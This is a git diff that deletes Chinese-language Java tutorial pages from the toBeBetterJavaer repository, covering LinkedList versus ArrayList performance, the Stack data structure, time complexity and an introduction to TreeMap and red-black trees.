前后半段遍历,和新增元素操作一样)找到节点 Node,然后调用 `unlink(Node)` 解除节点的前后引用,同时更新前节点的后引用和后节点的前引用: - -```java -E unlink(Node x) { - final E element = x.item; // 获取要删除的节点的元素 - final Node next = x.next; // 获取要删除的节点的后继节点 - final Node prev = x.prev; // 获取要删除的节点的前驱节点 - - if (prev == null) { // 如果要删除的节点是第一个节点 - first = next; // 将头节点更新为要删除的节点的后继节点 - } else { - prev.next = next; // 将要删除的节点的前驱节点的后继节点指向要删除的节点的后继节点 - x.prev = null; // 将要删除的节点的前驱节点置为 null,帮助垃圾回收 - } - - if (next == null) { // 如果要删除的节点是最后一个节点 - last = prev; // 将尾节点更新为要删除的节点的前驱节点 - } else { - next.prev = prev; // 将要删除的节点的后继节点的前驱节点指向要删除的节点的前驱节点 - x.next = null; // 将要删除的节点的后继节点置为 null,帮助垃圾回收 - } - - x.item = null; // 将要删除的节点的元素置为 null,帮助垃圾回收 - size--; // 将链表的长度减一 - return element; // 返回被删除的元素 -} -``` - -- `remove(Object)`,直接删除元素 - -```java -public boolean remove(Object o) { - if (o == null) { // 如果要删除的元素为 null - for (LinkedList.Node x = first; x != null; x = x.next) { - if (x.item == null) { // 如果找到了要删除的节点 - unlink(x); // 调用 unlink 方法删除指定节点 - return true; // 返回删除成功 - } - } - } else { - for (LinkedList.Node x = first; x != null; x = x.next) { - if (o.equals(x.item)) { // 如果找到了要删除的节点 - unlink(x); // 调用 unlink 方法删除指定节点 - return true; // 返回删除成功 - } - } - } - return false; // 没有找到要删除的节点,返回删除失败 -} -``` - -也是先前后半段遍历,找到要删除的元素后调用 `unlink(Node)`。 - -- `removeFirst()`,删除第一个节点 - -```java -public E removeFirst() { - final LinkedList.Node f = first; - if (f == null) - throw new NoSuchElementException(); - return unlinkFirst(f); -} - -private E unlinkFirst(LinkedList.Node f) { - final E element = f.item; // 获取要删除的节点的元素 - final LinkedList.Node next = f.next; // 获取要删除的节点的后继节点 - f.item = null; // 将要删除的节点的元素置为 null,帮助垃圾回收 - f.next = null; // 将要删除的节点的后继节点置为 null,帮助垃圾回收 - first = next; // 将头节点更新为要删除的节点的后继节点 - if (next == null) // 如果链表已经为空 - last = null; // 将尾节点置为 null - else - next.prev = null; // 将要删除的节点的后继节点的前驱节点置为 null,帮助垃圾回收 - size--; // 将链表的长度减一 - return element; // 返回被删除的元素 -} -``` - -删除第一个节点就不需要遍历了,只需要把第二个节点更新为第一个节点即可。 - -- `removeLast()`,删除最后一个节点 - -删除最后一个节点和删除第一个节点类似,只需要把倒数第二个节点更新为最后一个节点即可。 - -可以看得出,LinkedList 在删除比较靠前和比较靠后的元素时,非常高效,但如果删除的是中间位置的元素,效率就比较低了。 - -这里就不再做代码测试了,感兴趣的话可以自己试试,结果和新增元素保持一致: - -- 从集合头部删除元素时,ArrayList 花费的时间比 LinkedList 多很多; -- 从集合中间位置删除元素时,ArrayList 花费的时间比 LinkedList 少很多; -- 从集合尾部删除元素时,ArrayList 花费的时间比 LinkedList 少一点。 - -我本地的统计结果如下所示,可以作为参考: - -``` -ArrayList从集合头部位置删除元素花费的时间380 -LinkedList从集合头部位置删除元素花费的时间4 -ArrayList从集合中间位置删除元素花费的时间381 -LinkedList从集合中间位置删除元素花费的时间5922 -ArrayList从集合尾部位置删除元素花费的时间8 -LinkedList从集合尾部位置删除元素花费的时间12 -``` - -### 05、遍历元素时究竟谁快? - -#### **1)ArrayList** - -遍历 ArrayList 找到某个元素的话,通常有两种形式: - -- `get(int)`,根据索引找元素 - -```java -public E get(int index) { - Objects.checkIndex(index, size); - return elementData(index); -} -``` - -由于 ArrayList 是由数组实现的,所以根据索引找元素非常的快,一步到位。 - -- `indexOf(Object)`,根据元素找索引 - -```java -public int indexOf(Object o) { - return indexOfRange(o, 0, size); -} - -int indexOfRange(Object o, int start, int end) { - Object[] es = elementData; // 获取 ArrayList 中的元素数组 - if (o == null) { // 如果要查找的元素为 null - for (int i = start; i < end; i++) { - if (es[i] == null) { // 如果找到了要查找的元素 - return i; // 返回元素在 ArrayList 中的索引 - } - } - } else { - for (int i = start; i < end; i++) { - if (o.equals(es[i])) { // 如果找到了要查找的元素 - return i; // 返回元素在 ArrayList 中的索引 - } - } - } - return -1; // 没有找到要查找的元素,返回 -1 -} -``` - -根据元素找索引的话,就需要遍历整个数组了,从头到尾依次找。 - - -#### **2)LinkedList** - -遍历 LinkedList 找到某个元素的话,通常也有两种形式: - -- `get(int)`,找指定位置上的元素 - -```java -public E get(int index) { - checkElementIndex(index); - return node(index).item; -} -``` - -既然需要调用 `node(int)` 方法,就意味着需要前后半段遍历了。 - -- `indexOf(Object)`,找元素所在的位置 - -```java -public int indexOf(Object o) { - int index = 0; // 初始化索引为 0 - if (o == null) { // 如果要查找的元素为 null - for (LinkedList.Node x = first; x != null; x = x.next) { // 从头节点开始遍历链表 - if (x.item == null) // 如果找到了要查找的元素 - return index; // 返回元素在 LinkedList 中的索引 - index++; // 索引加一 - } - } else { - for (LinkedList.Node x = first; x != null; x = x.next) { // 从头节点开始遍历链表 - if (o.equals(x.item)) // 如果找到了要查找的元素 - return index; // 返回元素在 LinkedList 中的索引 - index++; // 索引加一 - } - } - return -1; // 没有找到要查找的元素,返回 -1 -} -``` - -需要遍历整个链表,和 ArrayList 的 `indexOf()` 类似。 - -那在我们对集合遍历的时候,通常有两种做法,一种是使用 for 循环,一种是使用[迭代器(Iterator)](https://javabetter.cn/collection/iterator-iterable.html)。 - -如果使用的是 for 循环,可想而知 LinkedList 在 get 的时候性能会非常差,因为每一次外层的 for 循环,都要执行一次 `node(int)` 方法进行前后半段的遍历。 - -```java -LinkedList.Node node(int index) { - // assert isElementIndex(index); - - if (index < (size >> 1)) { // 如果要查找的元素在链表的前半部分 - LinkedList.Node x = first; // 从头节点开始遍历链表 - for (int i = 0; i < index; i++) // 循环查找元素 - x = x.next; - return x; // 返回要查找的元素节点 - } else { // 如果要查找的元素在链表的后半部分 - LinkedList.Node x = last; // 从尾节点开始遍历链表 - for (int i = size - 1; i > index; i--) // 循环查找元素 - x = x.prev; - return x; // 返回要查找的元素节点 - } -} -``` - -那如果使用的是迭代器呢? - -```java -LinkedList list = new LinkedList(); -for (Iterator it = list.iterator(); it.hasNext();) { - it.next(); -} -``` - -迭代器只会调用一次 `node(int)` 方法,在执行 `list.iterator()` 的时候:先调用 AbstractSequentialList 类的 `iterator()` 方法,再调用 AbstractList 类的 `listIterator()` 方法,再调用 LinkedList 类的 `listIterator(int)` 方法,如下图所示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/collection/list-war-2-04.png) - -最后返回的是 LinkedList 类的内部私有类 ListItr 对象: - -```java -public ListIterator listIterator(int index) { - checkPositionIndex(index); // 检查索引是否在有效范围内 - return new LinkedList.ListItr(index); // 创建一个新的 ListItr 对象并返回 -} - -private class ListItr implements ListIterator { - private LinkedList.Node lastReturned; // 上一个已返回的节点 - private LinkedList.Node next; // 下一个节点 - private int nextIndex; // 下一个节点的索引 - private int expectedModCount = modCount; // 链表被修改的次数 - - ListItr(int index) { - // assert isPositionIndex(index); - next = (index == size) ? null : node(index); // 如果 index 等于 size,next 为 null,否则返回 node(index) - nextIndex = index; // 设置 nextIndex 为 index - } - - public boolean hasNext() { - return nextIndex < size; // 如果下一个节点的索引小于链表的长度,返回 true,否则返回 false - } - - public E next() { - checkForComodification(); // 检查链表是否已经被修改 - if (!hasNext()) // 如果没有下一个节点,抛出 NoSuchElementException 异常 - throw new NoSuchElementException(); - - lastReturned = next; // 将下一个节点设置为上一个已返回节点 - next = next.next; // 将下一个节点设置为当前节点的下一个节点 - nextIndex++; // 将下一个节点的索引增加 1 - return lastReturned.item; // 返回上一个已返回节点的元素 - } -} -``` - -执行 ListItr 的构造方法时调用了一次 `node(int)` 方法,返回第一个节点。在此之后,迭代器就执行 `hasNext()` 判断有没有下一个,执行 `next()` 方法下一个节点。 - -由此,可以得出这样的结论:**遍历 LinkedList 的时候,千万不要使用 for 循环,要使用迭代器。** - -也就是说,for 循环遍历的时候,ArrayList 花费的时间远小于 LinkedList;迭代器遍历的时候,两者性能差不多。 - -### 06、两者的使用场景 - -当需要频繁随机访问元素的时候,例如读取大量数据并进行处理或者需要对数据进行排序或查找的场景,可以使用 ArrayList。例如一个学生管理系统,需要对学生列表进行排序或查找操作,可以使用 ArrayList 存储学生信息,以便快速访问和处理。 - -当需要频繁插入和删除元素的时候,例如实现队列或栈,或者需要在中间插入或删除元素的场景,可以使用 LinkedList。例如一个实时聊天系统,需要实现一个消息队列,可以使用 LinkedList 存储消息,以便快速插入和删除消息。 - -在一些特殊场景下,可能需要同时支持随机访问和插入/删除操作。例如一个在线游戏系统,需要实现一个玩家列表,需要支持快速查找和遍历玩家,同时也需要支持玩家的加入和离开。在这种情况下,可以使用 LinkedList 和 ArrayList 的组合,例如使用 LinkedList 存储玩家,以便快速插入和删除玩家,同时使用 ArrayList 存储玩家列表,以便快速查找和遍历玩家。 - -“好了,三妹,关于 LinkedList 和 ArrayList 的差别,我们就先聊到这,你也不用太去扣细节,直到其中的差别就好了。” - -“好的,二哥。” - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/collection/stack.md b/docs/src/collection/stack.md deleted file mode 100644 index 7706c1d209..0000000000 --- a/docs/src/collection/stack.md +++ /dev/null @@ -1,293 +0,0 @@ ---- -title: 栈栈栈栈栈栈栈栈栈栈栈栈栈栈栈栈栈栈,Stack 没人要了! -shortTitle: 栈Stack详解(附源码) -category: - - Java核心 -tag: - - 集合框架(容器) ---- - - -讲真,Stack 这个类在 Java 应用中并不常用,但栈这个数据结构在整个计算机体系中却十分重要。所以我们还是放到[集合框架](https://javabetter.cn/collection/gailan.html)里来讲一讲。 - -栈(stack),有些地方喜欢称呼它为堆栈,我就很不喜欢,很容易和 heap(堆)搞混,尤其是对于新手来说,简直就是虐心。 - -### 栈数据结构 - -栈是一种非常有用的数据结构,它就像一摞盘子,第一个放在最下面,第二个放在第一个上面,第三个放在第二个上面,最后一个放在最上面。 - -![](https://cdn.paicoding.com/stutymore/vm-stack-register-20231217165356.png) - -对于这一摞盘子,我们可以做两件事情: - -- 在最上面放一个新盘子 -- 把顶部的盘子拿走 - -这两件事情做起来很容易,但如果从中间或者底部抽出来一个盘子,就很难办到。如果我们想要拿到最下面的盘子,就必须把它上面的所有盘子都拿走,像这样的一个操作,我们称之为后进先出,也就是“Last In First Out”(简称 LIFO)——最后的一个进的,最先出去。 - -对于栈这样一个数据结构来说,它有两个常见的动作: - -- push,中文释义有很多种,我个人更喜欢叫它“压入”,非常形象。当我们要把一个元素放入栈的顶部,这个动作就叫做 push。 -- pop,同样的,我个人更喜欢叫它“弹出”,带有很强烈的动画效果,有没有?当我们要从栈中移除一个元素时,这个动作就叫做 pop。 - -![](https://cdn.paicoding.com/stutymore/vm-stack-register-20231217165521.png) - -对于上面这幅图来说,3 这个元素最后放进去,却是最先被移除的——遵循 LIFO 的原则。 - -明白了栈的基本操作后,我们需要去深入地思考一下,栈是如何工作的。换句话说,为了使栈这个数据结构按照栈的方式去工作,它需要什么? - -1)栈需要有一个指针,我们称之为 `TOP`,用它来指向栈中最顶部的那个元素。 - -2)当我们初始化一个栈的时候,我们把 `TOP` 的值设置为 `-1`,这样我们就可以通过 `TOP == -1` 来判断栈是否为空。 - -3)当我们要在栈中压入一个元素的时候,我们把 `TOP` 的值加 1,然后把新压入的元素指向 TOP。 - -4)当我们要从栈中弹出一个元素的时候,我们把 `TOP` 的值减 1,然后把保持在最顶部的那个元素指向 TOP。 - -5)当我们压入一个元素的时候,需要检查栈是否已经满了。也就是说,需要有一个 `isFull()` 的方法来判断。 - -6)当我们要弹出一个元素的时候,需要检查栈是否已经空了。也就是说,需要有一个 `isEmpty()` 的方法来判断。 - -![](https://cdn.paicoding.com/stutymore/stack-20240201142407.png) - -空栈的时候,TOP 等于 -1;把元素 1 压入栈中的时候,`stack[0]` 为 1,TOP 加 1 变为 0;把元素 2 压入栈中的时候,`stack[1]` 为 2,TOP 加 1 变为 1;把元素 3 压入栈中的时候,`stack[2]` 为 3,TOP 加 1 变为 2;把元素 3 从栈中弹出后,返回元素 `stack[2]`,TOP 减 1 变为 1。 - -### 自定义栈 - -假设栈中的元素是 int 类型,我们可以用 Java 语言来自定义一个最简单的栈。它需要 3 个字段: - -* `int arr[]`,一个 int 类型的数组,来存放数据 -* `int top`,一个 int 类型的标记 -* `int capacity`,一个 int 类型的容量 - -```java -class Stack { -     private int arr[]; -     private int top; -     private int capacity; - } -``` - - -初始化栈: - -```java -Stack(int size) { -     arr = new int[size]; -     capacity = size; -     top = -1; - } -``` - - -往栈中压入元素: - -```java -public void push(int x) { -     if (isFull()) { -         System.out.println("溢出\n程序终止\n"); -         System.exit(1); -     } - -     System.out.println("压入 " + x); -     arr[++top] = x; - } -``` - - -从栈中弹出元素: - -```java -public int pop() { -     if (isEmpty()) { -         System.out.println("栈是空的"); -         System.exit(1); -     } -     return arr[top--]; - } -``` - - -返回栈的大小: - -```java -public int size() { -     return top + 1; - } -``` - - -检查栈是否为空: - -```java -public Boolean isEmpty() { -     return top == -1; - } -``` - - -检查栈是否已经满了: - -```java -public Boolean isFull() { -     return top == capacity - 1; - } -``` - - -来个 `main()` 方法直接测试下: - -```java -public void printStack() { -     for (int i = 0; i <= top; i++) { -         System.out.println(arr[i]); -     } - } - - public static void main(String[] args) { -     Stack stack = new Stack(5); - -     stack.push(1); -     stack.push(2); -     stack.push(3); -     stack.push(4); - -     stack.pop(); -     System.out.println("\n弹出元素后"); - -     stack.printStack(); - } -``` - - -打印结果如下所示: - -``` -压入 1 -压入 2 -压入 3 -压入 4 - -弹出元素后 -1 -2 -3 -``` - - -由于我们是通过[数组](https://javabetter.cn/array/array.html)来实现的栈,所以 `push` 和 `pop` 的[时间复杂度](https://javabetter.cn/collection/time-complexity.html)就是 `O(1)`。 - -尽管栈是一种非常简单的数据结构,通过上面的代码大家应该也能感受得出来,轻而易举地就实现了,但是栈却是一种非常强有力的数据结构,可以在很多场景中使用,比如说: - -1)**反转一串字符**:由于栈是 `LIFO` 的,所以反转一串字符很容易,按照正常的顺序把字符压入栈中,然后再弹出来就行了。 - -2)**用于计算器**:记得我实习的时候,公司就给我们新人安排了我们一个小项目——模仿一个 Win 7 的计算机,用来考察我们是不是真材实料,要想计算一个复杂的表达式,比如说 `2 + 5 / 3 * (6 - 2)`,就需要一个栈来容纳这些数字和运算符,然后按照优先级弹出后进行计算。 - -嗯,这个计算要比想象中复杂一些,新手同学可以私底下实现一下,不仅能够提高对栈这种数据结构的理解,还能对运算符的一个优先级进行思考。 - -很显然,栈,给我赢得了一次实习的机会,避免了被刷下去的危机。 - -3)**用于浏览器**:浏览器的后退按钮会把我们访问的 URL 压入一个栈中,每次我们访问一个新的页面,新的 URL 就压入了栈的顶部,当我们点了后退按钮,最新的那个 URL 就从栈中移除,之前的那个 URL 就被访问到了。 - -好了,下课,今天的栈就到此为止吧。 - -### Stack 类 - -其实 Java 已经帮我们实现了一个栈,就是 `java.util.Stack`,它继承自 `Vector`,是线程安全的,有点 [StringBuffer](https://javabetter.cn/string/builder-buffer.html) 的感觉,笨笨的。 - -先来个简单的例子: - -```java -Stack stack = new Stack<>(); -stack.push("沉默王二"); -stack.push("沉默王三"); -stack.push("一个文章真特么有趣的程序员"); - -System.out.println(stack); -``` - -Stack 类并不复杂,仅有几个重要的方法,比如说 `push`、`pop`、`peek`、`empty`、`search` 等等。 - -![](https://cdn.paicoding.com/stutymore/stack-20240201143317.png) - -我们来看一下 `push` 方法的源码: - -```java -public E push(E item) { -     addElement(item); - -     return item; - } -``` - -`push` 方法虽然没有 [synchronized](https://javabetter.cn/thread/synchronized-1.html) 关键字,但调用了 `Vector` 类的 `addElement` 方法,该方法上添加了 `synchronized` 关键字。 - -```java -public synchronized void addElement(E obj) { -     modCount++; -     ensureCapacityHelper(elementCount + 1); -     elementData[elementCount++] = obj; - } -``` - -再来看一下 `pop` 方法的源码: - -```java -public synchronized E pop() { -     E obj; -     int len = size(); - -     obj = peek(); -     removeElementAt(len - 1); - -     return obj; - } -``` - -该方法添加了 `synchronized` 关键字,并且先调用 `peek` 方法获取到栈顶元素: - -```java -public synchronized E peek() { - int len = size(); - - if (len == 0) - throw new EmptyStackException(); - return elementAt(len - 1); -} -``` - -接着调用 Vector 类的 `removeElementAt` 方法移除栈顶元素。 - -![](https://cdn.paicoding.com/stutymore/stack-20240201144113.png) - -注意该方法如果移除的不是栈顶元素,还会调用 `System.arraycopy` 进行数组的拷贝,因为栈的底层是由数组实现的。 - -```java -public class Vector - extends AbstractList - implements List, RandomAccess, Cloneable, java.io.Serializable -{ - protected Object[] elementData; - protected int elementCount; - protected int capacityIncrement; -} -``` - -### 小结 - -栈是一种非常有用的数据结构,它的特点是后进先出,可以用来反转一串字符、实现计算器、浏览器的后退按钮等等。 - -虽然 Stack 类并不常用,但栈这个数据结构却很重要。在 Java 中,推荐使用 ArrayDeque 来代替 Stack,因为 [ArrayDeque](https://javabetter.cn/collection/arraydeque.html) 是非线程安全的,性能更好。 - -如果想通过 LeetCode 进行练习的话,可以尝试一下这道题: - -[有效的括号](https://paicoding.com/column/7/20),我把题解放到了技术派上,大家可以参考。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/time-complexity.md b/docs/src/collection/time-complexity.md deleted file mode 100644 index 0ae4ff14b1..0000000000 --- a/docs/src/collection/time-complexity.md +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: 时间复杂度,评估ArrayList和LinkedList的执行效率 -shortTitle: 时间复杂度 -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细讲解了时间复杂度的概念、计算方法以及如何评估算法的性能。通过学习本文,您将更好地理解时间复杂度对程序性能的影响,从而在实际编程中做出更优的算法选择。 -head: - - - meta - - name: keywords - content: Java,时间复杂度,java 时间复杂度,算法性能 大O表示法, 算法评估 ---- - - -“二哥,为什么要讲时间复杂度呀?”三妹问。 - -“因为接下来要用到啊。后面我们学习 [ArrayList](https://javabetter.cn/collection/arraylist.html)、[LinkedList](https://javabetter.cn/collection/linkedlist.html) 的时候,会比较两者在增删改查时的执行效率,而时间复杂度是衡量执行效率的一个重要标准。”我说。 - -“到时候跑一下代码,统计一下前后的时间差不更准确吗?”三妹反问道。 - -“实际上,你说的是另外一种评估方法,这种评估方法可以得出非常准确的数值,但也有很大的局限性。”我不急不慢地说。 - -第一,测试结果会受到测试环境的影响。你比如说,同样的代码,在我这台 iMac 上跑出来的时间和在你那台华为的 MacBook 上跑出的时间可能就差别很大。 - -第二,测试结果会受到测试数据的影响。你比如说,一个排序后的数组和一个没有排序后的数组,调用了同一个查询方法,得出来的结果可能会差别特别大。 - -“因此,我们需要这种不依赖于具体测试环境和测试数据就能粗略地估算出执行效率的方法,时间复杂度就是其中的一种,还有一种是空间复杂度。”我继续补充道,“如果你后面刷 LeetCode的话,对时间复杂度这个概念也会比较依赖。” - -来看下面这段代码: - -```java -public static int sum(int n) { - int sum = 0; // 第 1 行 - for (int i=0;i T(n) = O(f(n)) - -f(n) 表示代码总的执行次数,大写 O 表示代码的执行时间 T(n) 和 f(n) 成正比。 - -这也就是大 O 表示法,它不关心代码具体的执行时间是多少,它关心的是代码执行时间的变化趋势,这也就是时间复杂度这个概念的由来。 - -对于上面那段代码 `sum()` 来说,影响时间复杂度的主要是第 2 行代码,其余的,像系数 2、常数 2 都是可以忽略不计的,我们只关心影响最大的那个,所以时间复杂度就表示为 `O(n)`。 - -常见的时间复杂度有这么 3 个: - -### 1)`O(1)` - -代码的执行时间,和数据规模 n 没有多大关系。 - -括号中的 1 可以是 3,可以是 5,可以 100,我们习惯用 1 来表示,表示这段代码的执行时间是一个常数级别。比如说下面这段代码: - -```java -int i = 0; -int j = 0; -int k = i + j; -``` - -实际上执行了 3 次,但我们也认为这段代码的时间复杂度为 `O(1)`。 - -再举一个简单的例子。当我们访问数组中的一个元素时,它的时间复杂度就是常数时间复杂度 O(1)。 - -```java -int[] nums = {1, 2, 3, 4, 5}; -int x = nums[2]; // 访问数组中下标为2的元素,时间复杂度为 O(1) -``` - -### 2)`O(n)` - -时间复杂度和数据规模 n 是线性关系。换句话说,数据规模增大 K 倍,代码执行的时间就大致增加 K 倍。 - -当我们遍历一个数组时,它的时间复杂度就是线性时间复杂度 O(n)。 - -```java -int[] nums = {1, 2, 3, 4, 5}; -for (int i = 0; i < nums.length; i++) { // 遍历整个数组,时间复杂度为 O(n) - System.out.println(nums[i]); -} -``` - -### 3)`O(logn)` - -时间复杂度和数据规模 n 是对数关系。换句话说,数据规模大幅增加时,代码执行的时间只有少量增加。 - -来看一下代码示例, - -```java -public static void logn(int n) { - int i = 1; - while (i < n) { - i *= 2; - } -} -``` - -换句话说,当数据量 n 从 2 增加到 2^64 时,代码执行的时间只增加了 64 倍。 - -``` -遍历次数 | i -----------+------- - 0 | i - 1 | i*2 - 2 | i*4 - ... | ... - ... | ... - k | i*2^k -``` - -再举个例子。当我们对一个已排序的数组进行二分查找时,它的时间复杂度就是对数时间复杂度 O(log n)。 - -```java -int[] nums = {1, 2, 3, 4, 5}; -int target = 3; -int left = 0, right = nums.length - 1; -while (left <= right) { - int mid = left + (right - left) / 2; - if (nums[mid] == target) { - System.out.println("找到了,下标为" + mid); - break; - } else if (nums[mid] < target) { - left = mid + 1; - } else { - right = mid - 1; - } -} -``` - -### 4)平方时间复杂度 `O(n^2)` - -当我们对一个数组进行嵌套循环时,它的时间复杂度就是平方时间复杂度 O(n^2)。 - -```java -int[] nums = {1, 2, 3, 4, 5}; -for (int i = 0; i < nums.length; i++) { - for (int j = 0; j < nums.length; j++) { - System.out.println(nums[i] + " " + nums[j]); - } -} -``` - -### 5)指数时间复杂度 `O(2^n)` - -当我们递归求解一个问题时,每一次递归都会分成两个子问题,这种情况下,它的时间复杂度就是指数时间复杂度 O(2^n)。 - -```java -public static int fib(int n) { - if (n <= 1) { - return n; - } - return fib(n - 1) + fib(n - 2); -} -``` - -上面的代码是递归求解斐波那契数列的方法,它的时间复杂度是指数级别的。 - - -“好了,三妹,这节就讲到这吧,理解了上面 5 个时间复杂度,后面我们学习 ArrayList、LinkedList 的时候,两者在增删改查时的执行效率就很容易对比清楚了。”我伸了个懒腰后对三妹说。 - -“好的,二哥。”三妹重新回答沙发上,一盘王者荣耀即将开始。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/collection/treemap.md b/docs/src/collection/treemap.md deleted file mode 100644 index 65b41abaab..0000000000 --- a/docs/src/collection/treemap.md +++ /dev/null @@ -1,447 +0,0 @@ ---- -title: Java TreeMap详解:从源码分析到实践应用 -shortTitle: TreeMap详解(附源码) -category: - - Java核心 -tag: - - 集合框架(容器) -description: 本文详细解析了 Java TreeMap 的实现原理、功能特点以及源码,为您提供了 TreeMap 的实际应用示例和性能优化建议。阅读本文,将帮助您更深入地理解 TreeMap,从而在实际编程中充分发挥其优势。 -head: - - - meta - - name: keywords - content: Java,TreeMap,java treemap, 源码分析, 实现原理 ---- - - ->下面有请王老师上台,来给大家讲一讲 TreeMap,鼓掌了! - -之前 [LinkedHashMap](https://javabetter.cn/collection/linkedhashmap.html) 那篇文章里提到过了,HashMap 是无序的,所以有了 LinkedHashMap,加上了双向链表后,就可以保持元素的插入顺序和访问顺序,那 TreeMap 呢? - -TreeMap 由红黑树实现,可以保持元素的自然顺序,或者实现了 Comparator 接口的自定义顺序。 - -可能有些同学不了解红黑树,我这里来普及一下: - -> 红黑树(英语:Red–black tree)是一种自平衡的二叉查找树(Binary Search Tree),结构复杂,但却有着良好的性能,完成查找、插入和删除的[时间复杂度](https://javabetter.cn/collection/time-complexity.html)均为 log(n)。 - -二叉查找树是一种常见的树形结构,它的每个节点都包含一个键值对。每个节点的左子树节点的键值小于该节点的键值,右子树节点的键值大于该节点的键值,这个特性使得二叉查找树非常适合进行数据的查找和排序操作。 - -下面是一个简单的手绘图,展示了一个二叉查找树的结构: - -``` - 8 - / \ - 3 10 - / \ \ - 1 6 14 - / \ / - 4 7 13 -``` - -在上面这个二叉查找树中,根节点是 8,左子树节点包括 3、1、6、4 和 7,右子树节点包括 10、14 和 13。 - -- 3<8<10 -- 1<3<6 -- 4<6<7 -- 10<14 -- 13<14 - -这是一颗典型的二叉查找树: - -- 1)左子树上所有节点的值均小于或等于它的根结点的值。 -- 2)右子树上所有节点的值均大于或等于它的根结点的值。 -- 3)左、右子树也分别为二叉查找树。 - - - - - - -二叉查找树用来查找非常方面,从根节点开始遍历,如果当前节点的键值等于要查找的键值,则查找成功;如果要查找的键值小于当前节点的键值,则继续遍历左子树;如果要查找的键值大于当前节点的键值,则继续遍历右子树。如果遍历到叶子节点仍然没有找到,则查找失败。 - -插入操作也非常简单,从根节点开始遍历,如果要插入的键值小于当前节点的键值,则将其插入到左子树中;如果要插入的键值大于当前节点的键值,则将其插入到右子树中。如果要插入的键值已经存在于树中,则更新该节点的值。 - -删除操作稍微复杂一些,需要考虑多种情况,包括要删除的节点是叶子节点、要删除的节点只有一个子节点、要删除的节点有两个子节点等等。 - -总之,二叉查找树是一种非常常用的数据结构,它可以帮助我们实现数据的查找、排序和删除等操作。 - -理解二叉查找树了吧? - -不过,二叉查找树有一个明显的不足,就是容易变成瘸子,就是一侧多,一侧少,比如说这样: - -``` - 6 - / \ - 4 8 - / / \ - 3 7 9 - / - 1 -``` - -在上面这个不平衡的二叉查找树中,左子树比右子树高。根节点是 6,左子树节点包括 4、3 和 1,右子树节点包括 8、7 和 9。 - -由于左子树比右子树高,这个不平衡的二叉查找树可能会导致查找、插入和删除操作的效率下降。 - -来一个更极端的情况。 - -``` - 1 - \ - 2 - \ - 3 - \ - 4 - \ - 5 - \ - 6 -``` - -在上面这个极度不平衡的二叉查找树中,所有节点都只有一个右子节点,根节点是 1,右子树节点包括 2、3、4、5 和 6。 - -这种极度不平衡的二叉查找树会导致查找、插入和删除操作的效率急剧下降,因为每次操作都只能在右子树中进行,而左子树几乎没有被利用到。 - -查找的效率就要从 log(n) 变成 o(n) 了(戳[这里](https://javabetter.cn/collection/time-complexity.html)了解时间复杂度),对吧? - -必须要平衡一下,对吧?于是就有了平衡二叉树,左右两个子树的高度差的绝对值不超过 1,就像下图这样: - -``` - 8 - / \ - 4 12 - / \ / \ - 2 6 10 14 - / \ / \ - 5 7 13 15 -``` - -根节点是 8,左子树节点包括 4、2、6、5 和 7,右子树节点包括 12、10、14、13 和 15。左子树和右子树的高度差不超过1,因此它是一个平衡二叉查找树。 - -平衡二叉树就像是一棵树形秤,它的左右两边的重量要尽可能的平衡。当我们往平衡二叉树中插入一个节点时,平衡二叉树会自动调整节点的位置,以保证树的左右两边的高度差不超过1。类似地,当我们删除一个节点时,平衡二叉树也会自动调整节点的位置,以保证树的左右两边的高度差不超过1。 - -常见的平衡二叉树包括AVL树、红黑树等等,它们都是通过旋转操作来调整树的平衡,使得左子树和右子树的高度尽可能接近。 - -AVL树的示意图: - -``` - 8 - / \ - 4 12 - / \ / \ - 2 6 10 14 - / \ - 5 7 -``` - -AVL树是一种高度平衡的二叉查找树,它要求左子树和右子树的高度差不超过1。由于AVL树的平衡度比较高,因此在进行插入和删除操作时需要进行更多的旋转操作来保持平衡,但是在查找操作时效率较高。AVL树适用于读操作比较多的场景。 - -例如,对于一个需要频繁进行查找操作的场景,如字典树、哈希表等数据结构,可以使用AVL树来进行优化。另外,AVL树也适用于需要保证数据有序性的场景,如数据库中的索引。 - -AVL树最初由两位苏联的计算机科学家,Adelson-Velskii和Landis,于1962年提出。因此,AVL树就以他们两人名字的首字母缩写命名了。 - -AVL树的发明对计算机科学的发展有着重要的影响,不仅为后来的平衡二叉树提供了基础,而且为其他领域的数据结构和算法提供了启示。 - -红黑树的示意图(R 即 Red「红」、B 即 Black「黑」): - -``` - 8B - / \ - 4R 12R - / \ / \ - 2B 6B 10B 14B - / \ - 5R 7R -``` - 